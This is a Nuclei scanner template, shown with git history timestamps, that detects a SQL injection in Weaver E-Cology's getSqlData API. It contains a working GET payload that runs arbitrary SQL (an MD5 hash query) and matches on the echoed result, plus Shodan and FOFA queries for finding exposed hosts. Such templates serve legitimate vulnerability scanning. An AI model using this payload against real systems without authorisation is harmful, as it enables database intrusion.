nuclei-templates/http/vulnerabilities/weaver/weaver-ecology-getsqldata-s...

45 lines
1.5 KiB
YAML
Raw Normal View History

2023-09-14 19:11:38 +00:00
id: weaver-ecology-getsqldata-sqli
info:
name: Weaver E-Cology `getsqldata` - SQL Injection
author: SleepingBag945
severity: high
description: |
When the getSqlData interface of the Panwei e-cology OA system uses the mssql database, the built-in SQL statements are not spliced strictly, resulting in a SQL injection vulnerability.
reference:
- https://github.com/Wrin9/weaverOA_sql_RCE/blob/14cca7a6da7a4a81e7c7a7016cb0da75b8b290bc/weaverOA_sql_injection_POC_EXP.py#L46
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 2
2023-09-14 19:11:38 +00:00
shodan-query: ecology_JSessionid
fofa-query: app="泛微-协同办公OA"
2024-09-10 08:22:50 +00:00
product: e-cology
vendor: weaver
2023-09-14 19:11:38 +00:00
tags: ecology,weaver,oa,sqli
2024-09-10 08:22:50 +00:00
classification:
cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
2023-09-14 19:11:38 +00:00
variables:
num: "999999999"
http:
- method: GET
path:
2023-09-18 12:37:42 +00:00
- "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql=select%20substring(sys.fn_sqlvarbasetostr(hashbytes('MD5','{{num}}')),3,32)"
2023-09-17 16:11:07 +00:00
- "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql="
2023-09-14 19:11:38 +00:00
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: word
part: body
words:
- '{"api_status":'
- '"status":true}'
2023-10-14 11:27:55 +00:00
condition: and
# digest: 490a00463044022030ad64fd9961684672663bf926bddb0391c94c7fdc8811b4fade9b5f2a1f908b022006c35ef700880eefd6d5e1e757558e4ca0cb156164165191be70c8bec7479fdf:922c64590222798bb761d5b6d8e72950